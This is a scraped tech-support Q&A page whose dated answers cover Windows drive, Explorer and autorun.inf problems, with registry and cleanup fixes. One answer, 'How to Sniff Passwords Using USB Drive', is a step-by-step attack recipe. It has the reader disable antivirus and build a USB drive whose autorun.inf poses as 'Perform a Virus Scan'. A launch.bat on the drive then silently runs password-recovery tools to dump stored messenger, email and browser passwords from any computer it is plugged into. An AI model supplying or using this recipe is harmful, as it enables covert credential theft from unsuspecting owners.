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Drive not open on 'double-click'

Open 'Notepad' and write following code.
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[autorun]
open=C:\Windows\explorer.exe
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Save file as 'autorun.inf'.
Copy/replace this file on all drives/partitions that are not opening on double-click.
Restart PC and now all drives should open with normal double-click.

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accidentally closed windows explorer process


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Hi,

I'm Ben and -- hopefully -- I can provide some meaningful assistance.

Please follow these steps:

  1. Reboot your computer in the Safe mode with command prompt.
  2. Once Windows loaded, command prompt (black window) opens. Type notepad and press Enter.
  3. A notepad window opens. Type the following text into notepad:
  4. [Version]
  5. Signature="$Chicago$"
  6. Provider=Myantispyware.com
  7. [DefaultInstall]
  8. AddReg=regsec
  9. [regsec]
  10. HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools,0x00000020,0
  11. HKLM, Software\Microsoft\Windows NT\CurrentVersion\Winlogon,Shell,0x00000020,"Explorer.exe"
  12. Save this as fix.inf to your Desktop (remember to select Save as file type: All files in Notepad). Close Notepad.
  13. In the command prompt type Explorer.exe and Press Enter. Windows Explorer opens. Locate the fix.inf, click right button and select Install. Close Windows Explorer.
  14. In the command prompt type shutdown -r and press Enter. Your computer will be rebooted.

Jun 08, 2012 | Dell Computers & Internet

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How to Sniff Passwords Using USB Drive As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit. MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM. Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free. Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts. IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 ? v6.0 Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more? PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename. Here is a step by step procedre to create the password hacking toolkit. NOTE: You must temporarily disable your antivirus before following these steps. 1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive. ie: Copy the files ? mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive. 2. Create a new Notepad and write the following text into it [autorun] open=launch.bat ACTION= Perform a Virus Scan save the Notepad and rename it from New Text Document.txt to autorun.inf Now copy the autorun.inf file onto your USB pendrive. 3. Create another Notepad and write the following text onto it. start mspass.exe /stext mspass.txt start mailpv.exe /stext mailpv.txt start iepv.exe /stext iepv.txt start pspv.exe /stext pspv.txt start passwordfox.exe /stext passwordfox.txt save the Notepad and rename it from New Text Document.txt to launch.bat Copy the launch.bat file also to your USB drive. Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps 1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive). 2. In the pop-up window, select the first option (Perform a Virus Scan). 3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files. 4. Remove the pendrive and you?ll see the stored passwords in the .TXT files. This hack works on Windows 2000, XP and Vista NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Mar 30, 2010 | Computers & Internet

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my new pc turns on but i cannot get the icons to show up


Hi lwoodward...
Try this solution, you may want to print to paper for a hard copy
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Please follow these steps:

reboot your computer in the Safe mode with command prompt.

Once Windows loaded, command prompt (black window) opens. Type notepad and press Enter.

A notepad window opens. Type the following text into notepad:

[Version]
Signature="$Chicago$"
Provider=Myantispyware.com

[DefaultInstall]
AddReg=regsec

[regsec]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools,0x00000020,0
HKLM, Software\Microsoft\Windows NT\CurrentVersion\Winlogon,Shell,0x00000020,"Explorer.exe"

Save this as fix.inf to your Desktop (remember to select Save as file type: All files in Notepad). Close Notepad.

In the command prompt type Explorer.exe and Press Enter. Windows Explorer opens. Locate the fix.inf, click right button and select Install. Close Windows Explorer.

In the command prompt type shutdown -r and press Enter. Your computer will be rebooted and your icons should reappear.

Aug 29, 2011 | Computers & Internet

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what is the process for cleaning autorun.inf


Method One
  • Open command line (CMD) and write the following:
del /a:rhs [driveletter]:autorun.inf
  • Simply Replace [driveletter] with your drive. If the virus is on the D drive the commad will be
del /a:rhs D:autorun.inf
  • Restart the computer & Done.
Second Method

Genreally when you refresh the windows explorer view a bounded virus process recreates this file. This file is attached to many events of windows explorer including OPEN, REFRESH, etc.
You must close opened explorer windows.
1. Open up a command prompt (i.e. cmd.exe) >> to load it go to Run, type cmd, enter.
2. Now to remove virus's attributes (in order to delete it type following line by line and execute them pressing enter.

F:
F:attrib -s -r -h *.*

If there are any malicious EXE files those are now visible so if unnecessary delete them too.

F:del autorun.inf

3. After finishing above, quickly remove the pendrive as soon as posible (just after executing del command).
4. Now your pen is without virus activation config. file. Now you can safely delete unnecessary EXE files on it.
Method Third

  • Download Flash_Disinfector.exe from here and save it to your desktop.
  • Double-click Flash_Disinfector.exe to run it and follow any prompts that may appear.
  • The utility may ask you to insert your flash drive and/or other removable drives including your mobile phone.
  • Please do so and allow the utility to clean up those drives as well.
  • Wait until it has finished scanning and then exit the program.
  • Reboot your computer when done.



By this way you can remove

Jan 28, 2011 | Computers & Internet

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Funny UST Scandal


hi my friend got that last week to... ehat you need to do is download kaspersky. after running kaspersky. that will be gone. you can download kaspersky @ majorgeeks.com Here are some examples of autorun viruses which rely on the autorun function of Windows to infect PC’s and flash drives. Funny UST Scandal.avi.exe Autorun.vbs win32.autorun.k copy.exe imgkulot taga lipa are autorun.vbs recycler FS6519.dll.vbs strawberry from baguio W32/Perlovga (copy.exe | host.exe) VBS_RESULOWS.A Bha.dll.vbs w32automa worm (Autorun.vbs) Trojan.Win32.VB.atg | Win32/Dzan | Worm_vb.bnr (tel.xls.exe | mmc.exe) W32/RJump.worm (RavMonE) Worm.Win32.Delf.bf | W32.Fujacks (spoclsv.exe) W32.Fujacks.BH (****.vbs) WORM_AGENT.PGV (soundmix.exe) W32/Hakaglan.worm (RVHost.exe) Trojan.Win32.VB.ayo [AVP] (Macromedia_Setup.exe) Trojan.VBS.DeltreeY.b#1 (Destrukto!!! | destrukto.vbs) if you want to manually delete it... Solution is here: 1. Start Notepad [Start Menu-All Programs-Accessories-Notepad] or right-click any empty space in your desktop then select New-Text Document 2. Copy the following text. (note: Everything in between the square brackets should be in one line) REGEDIT4 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionIniFileMappingAutorun.inf] @="@SYS:DoesNotExist" 3. Save the file with a name (anything) like DisableAutoRun.reg (The extension .reg is the important part) 4. Double Click your newly created registry file. Choose yes or continue to the warning that will appear. hope this helps

Jan 24, 2008 | Computers & Internet

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